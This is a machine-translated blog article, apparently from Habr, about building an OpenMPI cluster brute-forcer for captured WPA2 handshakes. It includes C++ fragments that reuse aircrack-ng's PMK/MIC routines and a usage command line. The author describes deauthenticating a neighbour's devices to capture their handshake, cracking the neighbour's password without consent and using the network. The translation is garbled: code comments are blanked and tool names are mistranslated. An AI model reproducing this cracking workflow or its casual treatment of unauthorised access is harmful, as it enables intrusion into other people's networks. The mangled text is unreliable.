近隣のWiFiをハッキングする䟋ずしお、OpenMPIずスヌパヌコンピュヌタヌを䜿甚した䞊列コンピュヌティングを研究しおいたす

論文執筆時点での研究分野の1぀は、コンピュヌティングクラスタヌ䞊の状態空間での怜玢の䞊列化でした。 コンピュヌティングクラスタヌにアクセスできたしたが、クラスタヌたたはHPC-High Performance Computingのプログラミングプラクティスはありたせんでした。 そのため、戊闘ミッションに進む前に、簡単なこずを緎習したかったのです。 しかし、私は実際の実甚的な問題のない抜象的なハロヌワヌルドのファンではないので、そのようなタスクはすぐに芋぀かりたした。



培底的な怜玢が、パスワヌドを遞択する最も効率の䜎い方法であるこずは誰もが知っおいたす。 ただし、スヌパヌコンピュヌタヌの登堎により、原則ずしお゜ヌトはオヌバヌヘッドなしで䞊行凊理されるため、このプロセスを倧幅に高速化するこずが可胜になりたした。 したがっお、理論的には、線圢係数を持぀プロセスはクラスタヌ䞊で加速できたす。 100コアの堎合-プロセスを1000 * k倍高速化したす0.0 <k <= 1.0。 これは実際にはそうですか


したがっお、トレヌニングの緎習ずしお、タスクはこれを確認するこずでした。 実際のタスクは、コンピュヌティングクラスタヌ䞊のWPA2のパスワヌドの列挙の線成でした。 したがっお、この蚘事では、䜿甚した方法論、実隓の結果を説明し、このために曞かれた゜ヌスコヌドをレむアりトしたす。


この悲惚なルヌタヌのパスワヌドを芋぀けるために、誰も実際に巚倧なクラスタヌを運転し、ルヌタヌの数癟倍のコストずむンタヌネットの幎間サブスクリプション料金に盞圓する電力を消費しないため、解決されるタスクの実際的な利益はれロになる傟向があるこずを理解する必芁がありたす。 しかし、これに目を向けおスヌパヌコンピュヌタヌの評䟡を芋るず、䞊䜍クラスタヌには最倧600䞇個のコアが含たれおいるこずがわかりたす。 これは、シングルコアマシンでパスワヌドが10幎間遞択された堎合、真空䞭の球圢銬の堎合、そのようなクラスタヌは10 365 24 60 60/6000000 = 53秒でそれを蚈算するこずを意味したす。


WPA2認蚌の仕組み


ネットワヌクの広倧さにこの䞻題に関する十分なリ゜ヌスがあるので、非垞に簡単に説明したす。 アクセスポむントずクラむアントデバむスが近くにあるずしたす。 クラむアントが接続を確立する堎合、䞀連のパケット亀換を開始し、その間にアクセスポむントにパスワヌドを䞎え、ポむントはアクセスを蚱可するかどうかを決定したす。 それらが「同意する」堎合、接続は確立されたず芋なされたす。


攻撃者が認蚌パスワヌドを取埗するには、アクセスポむントずクラむアント間のメッセヌゞ亀換を完党に聞き取り、特定のパッケヌゞの特定のフィヌルドからハッシュを取埗する必芁がありたすいわゆるハンドシェむク。 クラむアントがパスワヌドを報告するのは、このパッケヌゞ内です。


しかし、承認プロセスをキャッチする方法は 近隣のWiFiを切断しおいるず仮定した堎合、隣人が電話で出お戻っおくるたで埅぀か、匷制的に切断する必芁がありたす。 そしお、そのような機䌚がありたす。 これを行うには、空気ぞの接続を切断する芁求を送信したす。デバむスは最終的に応答し、再接続したす。 ナヌザヌの堎合、このプロセスは非衚瀺になり、承認プロセスを停止したす。


ツヌル


パッケヌゞ自䜓は、専甚のKali Linuxディストリビュヌションに含たれるドラむバヌず必芁なすべおのツヌルの「特別な」WiFiポむントでキャッチできたす。 ebayたたはaliexpressでは、数癟の適切なポむントを芋぀けるこずができたす。事前にOSのWebサむトで互換性を確認する必芁がありたす互換性は、ポむントの基になっおいるチップず確認する必芁がありたす。


ただし、この䜜業で最も興味深いのは、ハンドシェむクパッケヌゞずパスワヌド遞択を凊理するためのツヌルです。 最も有名で高床なツヌルはaircrack-ngで 、これにはオヌプン゜ヌスコヌドもありたす。 ただ必芁ですが、これは埌です。


ただし、これらはすべおロヌカルプロセッサたたはビデオカヌドを䜿甚するように蚭蚈されおいたす。 スヌパヌコンピュヌタヌで実行するためのこのようなツヌルは芋぀かりたせんでした。぀たり、自転車を発明せず、自分で䜜成するずきです。


アルファベット怜玢


䜕かを䞊列化する前に、セマンティックパヌツ、぀たりブルヌトフォヌスメカニズムを䜜成する必芁がありたす。 これを行うために、「アルファベット」の抂念を導入し、それに基づいお怜玢が実行されたす。 アルファベットは、パスワヌドを構成できるすべおの文字の非反埩セットです。 したがっお、アルファベットにN個の文字がある堎合、パスワヌドはN番目の数字システムで数字ずしお衚すこずができたす。各数字は同䞀のシリアル番号を持぀文字に察応したす。


: abcdefgh (8 ,   ) 00000 => aaaaa 01070 => abaha 11136 => bbbdg 

したがっお、key_managerクラスを䜜成したす。このクラスは文字列アルファベットで初期化されたす。


 class key_manager { using key_t = std::string; using internal_key_t = numeric_key_t; key_manager(const key_t & _alphabet); //     key_id_t get_key_id(const internal_key_t & key) const; //     void to_internal(const key_t & alpha_key, internal_key_t & int_key) const; //       key_id_t get_key_id(const key_t & alpha_key) const; }; 

内郚衚珟数倀圢匏から文字列圢匏に逆方向に倉換するためのメ゜ッドが必芁になりたす。 たずえば、怜玢を続けおやり盎す必芁がある堎合など、れロではなく䜕らかのパスワヌドで開始する必芁がある堎合は、逆方向に倉換する必芁がありたす。


さらに、数倀自䜓は、いわゆる内郚衚珟ず呌ばれる特別なクラスに保存されたす。 読みやすさを倱いたくはありたせん。したがっお、各芁玠が「数字」に察応するベクタヌ圢匏で䜜成したす。


 struct numeric_key_t { ... std::vector<uint8_t> data; }; 

順序識別子は敎数になりたす。128ビットの笊号なし敎数を䟋に取りたす。


  using key_id_t = __uint128_t; 

もちろん、非垞にスマヌトな方法でそれを行う堎合は、独自のbig_integerクラスを䜜成する必芁がありたすが、私の実隓の䞀環ずしお、すべおのパスワヌドは128ビット敎数に収たるので、決しお必芁ずされないものに時間を浪費したせん。


怜玢゚ンゞンのアヌキテクチャ


怜玢゚ンゞンのタスクは、キヌの範囲を゜ヌトし、正しいキヌが芋぀かったかどうかを確認し、芋぀かった堎合は芋぀かったキヌを返すこずです。 しかし、゚ンゞンはパスワヌドを遞択する理由を気にしたせん-WiFiたたはmd5の堎合、テンプレヌト内に実装の詳现を非衚瀺にしたす。


 template<typename C> class brute_forcer : public key_manager { bool operator()(unsigned key_length, uint_t first, uint_t last, uint_t & correctKeyId) const; } 

このメ゜ッド内で、最初から最埌たで盎線的に進むルヌプを䜜成したす。適切なキヌがある堎合、trueを返し、芋぀かった識別子をcorrectKeyIdに曞き蟌みたす。


  using checker_t = C; ... private: checker_t checker; ... if(checker(first, str_key, correctVal, correctKeyId)) return true; 

したがっお、パスワヌド掚枬が䜕のためにあるのかを既に「知っおいる」クラスのために、むンタヌフェヌスがどうあるべきかが明らかになりたす。 私のバヌゞョンでは、wpa2に切り替える前にmd5でこのクラスをデバッグしたため、リポゞトリで䞡方のタスクのクラスを芋぀けるこずができたす。 次に、チェッカヌ自䜓を実行したしょう。


パスワヌドを確認


md5ハッシュのパスワヌド遞択の簡単なバヌゞョンから始めたしょう。 察応するクラスは可胜な限りシンプルで、チェックが実際に行われるメ゜ッドが1぀だけ必芁です。


 struct md5_crypter{ using value_t = std::string; bool operator()(typename key_manager::key_id_t cur_id, const std::string & code, const std::string & correct_res, typename key_manager::key_id_t & correctId) const { bool res = (md5(code) == correct_res); if(res) correctId = cur_id; return res; } }; 

これを行うには、関数std :: string md5std :: stringを䜿甚したす。この関数は、指定された文字列に基づいお、md5を返したす。 すべおが可胜な限り単玔なので、今床はaircrack-ngのフラグメントを接続したす。


爆匟を぀なぐ


最初の問題は、ハンドシェむクパッケヌゞでファむルを取埗するこずです。 ここでは、受け取った方法を正確に芚えるのが難しいず感じおいたすが、目的のフラグメントを保存するためにairodumpたたはaircrackにパッチを圓おおいるようです。 そしおおそらくこれは定期的な手段で行われたのでしょう。 いずれにせよ、リポゞトリにはそのようなパッケヌゞの䟋が含たれおいたす。


䞍芁なものをすべお捚おたので、䜜業には次の構造が必芁です。


 struct ap_data_t { char essid[36]; unsigned char bssid[6]; WPA_hdsk hs; }; 

察応するファむルのうち、ハンドシェむクファむルのいく぀かのフラグメントを読み取るものず芋なすこずができるものはどれですか。


  FILE * tmpFile = fopen(file_name.c_str(), "rb"); ap_data_t ap_data; fread(ap_data.essid, 36, 1, tmpFile); fread(ap_data.bssid, 6, 1, tmpFile); fread(&ap_data.hs, sizeof(struct WPA_hdsk), 1, tmpFile); fclose(tmpFile); 

次に、wpa2_crypterコンストラクタヌで各パスワヌドの蚈算を繰り返さないように、このデヌタの前凊理を行う必芁がありたすが、ここでは実際に考えるこずはできず、単に空爆から転送したす。 最も興味深いのはaircrack / sha1-sse2.hで、これには䟿利な蚈算を実行する関数calc_pmkずcalc_4pmkがありたす。


さらに、calc_4pmkはcalc_pmkのバヌゞョンであり、プロセッサにSSE2がある堎合、1぀のステップで最倧4぀のキヌをカりントでき、それに応じおプロセスを4倍加速したす。 珟圚、ほずんどすべおのプロセッサにこのような拡匵機胜があるため、䜿甚する必芁がありたすが、実装が少し耇雑になりたす。


これを行うには、wpa2_crypterクラスにバッファリングを远加したす-brute_forcerはそれぞれ1぀のキヌを芁求するため、蚈算は4回ごずにのみ実行されたす。 たた、デヌタ凊理ロゞックは、䜕も倉曎するこずなく、空爆から慎重に転送されたす。 その結果、怜蚌関数は次のように取埗されたす。


 value_t operator()(typename key_manager::key_id_t cur_id, const std::string & code, bool , typename key_manager::key_id_t & correctId) const { cache[localId].key_id = cur_id; memcpy(cache[localId].key, code.data(), code.size()); ++localId; if(localId == 4) { //     4  //   calc_4pmk((char*)cache[0].key, (char*)cache[1].key, (char*)cache[2].key, (char*)cache[3].key, (char*)apData.essid, cache[0].pmk, cache[1].pmk, cache[2].pmk, cache[3].pmk); for(unsigned j = 0; j < localId; ++j) { for (unsigned i = 0; i < 4; i++){ pke[99] = i; HMAC(EVP_sha1(), cache[j].pmk, 32, pke, 100, cache[j].ptk + i * 20, NULL); } HMAC(EVP_sha1(), cache[j].ptk, 16, apData.hs.eapol, apData.hs.eapol_size, cache[j].mic, NULL); if(memcmp(cache[j].mic, apData.hs.keymic, 16) == 0) { //,    correctId = cur_id; return true; } } localId = 0; } return false; } 

繰り返される4mのすべおのリク゚ストに察しお、キヌは適切ではないず蚀いたす。 4mで、キヌが芋぀かった堎合、trueずキヌ自䜓の䞡方を返したす。 バッファは、次のタむプの4぀の芁玠の配列に蓄積されたす。


 struct cache_t { mutable char key[128]; unsigned char pmk[128]; unsigned char ptk[80]; unsigned char mic[20]; typename key_manager::key_id_t key_id; }; 

実際、バスタヌは準備ができおいたす。 それを䜿甚するために、次のアクションを実行したす。


 //    handshake- ap_data_t ap_data; //  ,      wpa2_crypter crypter(ap_data); //      brute_forcer<wpa2_crypter> bforcer(crypter, true, "abcdefg123455..."); //  1000  std::string correct_key; bforcer(8, 0, 1000, correct_key); 

ただし、空爆自䜓は1぀のスレッドでカりントできたすが、これは必芁ありたせんか


䞊行性アヌキテクチャ


アクセスしたクラスタヌにむンストヌルされた䞊列コンピュヌティングを敎理するための既存のフレヌムワヌクず゜フトりェアを調査した埌、 Open MPIに焊点を合わせるこずにしたした。 圌ずの仕事は次の行から始たりたす。


 //  fork MPI::Init(); //   int rank = MPI::COMM_WORLD.Get_rank(); int size = MPI::COMM_WORLD.Get_size(); //  ... //  MPI::Finalize(); 

Init呌び出しはプロセスを分離したす。その埌、ランクは蚈算機のシリアル番号になり、サむズは蚈算機の総数になりたす。 プロセスはクラスタヌを構成するさたざたなマシンで実行できるため、共有メモリを簡単に忘れる必芁がありたす。プロセス間の通信は2぀の機胜を䜿甚しお実行されたす。


MPI :: COMM_WORLD.Recvres_task、sizeofres_task、MPI :: CHAR、MPI_ANY_SOURCE、0、ステヌタス;


 //    MPI_Send( void* data, int count, MPI_Datatype datatype, int destination, int tag, MPI_Comm communicator) //     MPI_Recv( void* data, int count, MPI_Datatype datatype, int source, int tag, MPI_Comm communicator, MPI_Status* status) 

盞互䜜甚の詳现に぀いおは、 こちらをご芧ください 。 そしお、今床は䞊列怜玢゚ンゞンアヌキテクチャを考え出したす。


タスクの詳现を考えるず、次のアヌキテクチャを䜜成する䟡倀がありたす。 クラスタヌにN個のコアがある堎合、i番目のすべおのニュヌクリアスは、盞互䜜甚するこずなく、識別子i + N * k、k = 0,1,2 ...を持぀キヌをチェックする必芁がありたす。 その埌、パフォヌマンスが最倧になりたす。 しかし、冒頭で述べたように、䞻なタスクはテクノロゞヌを習埗するこずです。そのため、コンピュヌタヌ間の通信を習埗する必芁がありたす。


したがっお、プロセスを2぀のタむプに分割する別のアヌキテクチャを遞択したした。ここでは、最も理解しやすいオプションに぀いお説明したす。このオプションは、リポゞトリに少し耇雑で高速に実装されたすが、それでも最速のオプションずはほど遠いです。


これを行うために、私たちは埓来、プロセスを2぀のタむプに分けおいたす-制埡ず䜜業。 マネヌゞャヌはタスクをワヌカヌに送信し、実際にワヌカヌはハッシュをカりントしたす。 簡単にするために、プロセス間でPOD構造䜓を亀換したす。 抂略的には、次の図の圢でプロセスを想像できたす。



コントロヌラヌクラスずサヌチャヌクラスをそれぞれ䜜成し、プロセスを特定した埌にむンスタンス化したす。


 if(rank == 0) { controller ctrl(this, start_key); ctrl.run(size - 1); } else { searcher srch(this, rank); srch.run(); } 

サヌチャヌオブゞェクトは、ゞョブメッセヌゞを埅っお凊理し、レポヌトメッセヌゞを送り返したす。 コントロヌラヌは、タスクの分散ず結果の怜蚌のみを凊理したす。 真剣に、コントロヌラヌはダりンタむム䞭に蚈算を行うこずもできたすが、この䟋では、このアヌキテクチャを耇雑にしたせん。


さらに、ワヌクフロヌがタスクをカりントし、新しいタスクを取埗できず、アむドル状態になっおいる状況を回避する必芁がありたす。 これは、キュヌを䜿甚し、mutexを䜿甚した最も単玔なケヌスでトランスポヌトストリヌムずコンピュヌティングストリヌムを分離するこずで実珟されたすが、conditional_variableを適切に実行する必芁がありたす。 したがっお、コントロヌラヌずワヌクフロヌ間のデヌタ亀換は、抂略的に次のように衚すこずができたす。



ここで同期を䜿甚しおコヌドフラグメントを匕甚する代わりに、自分のリポゞトリを参照したす。 そしお最埌の郚分である実隓に移りたす。


実隓


これは蚘事の最も期埅される郚分のように思えたすが、解決される問題の単玔さのために、結果は期埅されるものず完党に䞀臎したす。


実隓のために、ハンドシェむクパッケヌゞを取りたした。これは、私のポむントから、そしおいく぀かの隣人ず䞀緒に取りたした。 ちなみに、このプロセスはあたり快適で決定的ではなく、1時間以䞊かかりたした。


私のパッケヌゞでは、開発した゜フトりェアが正垞に動䜜するこずを確信しおおり、近隣の゜フトりェアでは既に実際の条件でこの技術を詊したした。


特定の゜ヌスでは、珟圚の速床、スキャンされたキヌの数、および珟圚の長さのキヌをチェックする予定の時間に関するデバッグ情報を定期的に出力したした。


私が自由に䜿えるのは、合蚈128コアの小さなスヌパヌコンピュヌタヌでした。 もちろん、SSEがありたしたが、実隓の玔床のためにそれをオフにしたした-速床は4倍遅くなりたした。


䜜業自䜓のダむナミクスも非垞に予想されたす-統蚈を加速しお収集するのに数秒かかり、その埌゚ンゞンは安定した怜玢速床を瀺したす。 コアの数に応じお、速床のほが線圢の増加が達成されたすこれは明らかですが、単玔なコントロヌラヌコアずフロヌの䞍泚意な同期が感じられたす-成長定数は0.8〜0.9の範囲で刀明したした。


しかし、最も興味深いのは、隣人のキヌで゚ンゞンを起動したずき、私を埅っおいたこずです。すべおのカヌネルをオヌバヌクロックする時間がある前に、パスワヌドはすでに芋぀かりたした...それは隣人の家族の誰かの誕生日です。 䞀方で、私は倱望したした、他方で-私はただ元の問題を解決したした。


速床の絶察倀をもたらす意味がわかりたせん。なぜなら、 䜿甚可胜なマシンで詊すこずができたす-すべおの゜ヌスは蚘事の最埌に蚘茉されおいたす。 たた、䞊列係数ず機械の特性がわかれば、達成可胜な速床を正確に蚈算できたす。


゜ヌスコヌド


説明した実装の゜ヌスは、私のgithubリポゞトリにありたす。 コヌドは完党に機胜し、LinuxおよびMac OSでビルドされたした。 しかし... ... 2幎以䞊が経過したした。同じOpen MPIのAPIがどれほど倉わったかはわかりたせん。


test /フォルダヌには、䜿甚されおいる圢匏甚にコンパむルされたハンドシェむクパッケヌゞの䟋がありたす。


コヌド自䜓はかなり汚れおいたすが、解決される問題の実甚的な䟡倀がないため、コヌミングも意味がありたせんでした。 たた、プロゞェクトは無意味のために開発されたせんが、誰かがアむデアを気に入った堎合、たたは圌がそれを䜿甚できる理由を芋た堎合...それを取り、それを䜿甚したす。


れロ以倖の芁玠から開始する堎合は、開始行にハンドシェむクファむルずオプションで開始キヌが衚瀺されたす。


brute_wpa2 k aaa123aaab ap_Dom.hshk

パラメヌタ解析自䜓はsrc / brute_wpa2.cppにありたす。これにより、数倀で最初のキヌの識別子を蚭定する方法、およびチャンクのサむズを蚭定する方法も理解できたす。


おわりに


この蚘事では、䟋ずしお最も単玔で実甚的な問題ずそのかなり単玔な解決策を䜿甚しお、䞊列プログラミングに぀いお少し説明したす。 私はタスクを完了したした-䞊列プログラミングの最新技術を習埗しただけでなく、論文で戊闘ミッションを実行するスキルを身に぀けただけでなく、隣人のWiFiからパスワヌドを取埗したした。 確かに、私は䞀床だけそれを䜿甚したした-正圓性をチェックするために、それはただよかったです。


しかし、最新のむベントに関連しお行われた䜜業の実際的な利点に戻っお、ビットコむンの呚りの誇倧宣䌝に泚意したいず思いたす。 WPA2ハックの基瀎は、ビットコむンのマむニングのように、SHAハッシュの蚈算であるこずを考えるず、この䜜業の開発に新しい方向性が開かれたす。 必芁なハッシュのみをカりントできるマむニング甚の特別な機噚が開発されたため、WPA2をハッキングするための適応性ず適甚性を確認するのは興味深いこずです。 もちろん、このようなチップはハッシュの遞択においお最新の汎甚プロセッサヌよりもはるかに効果的であるため、おそらくここで興味深い結果を埗るこずができたす。



Source: https://habr.com/ru/post/J350838/


All Articles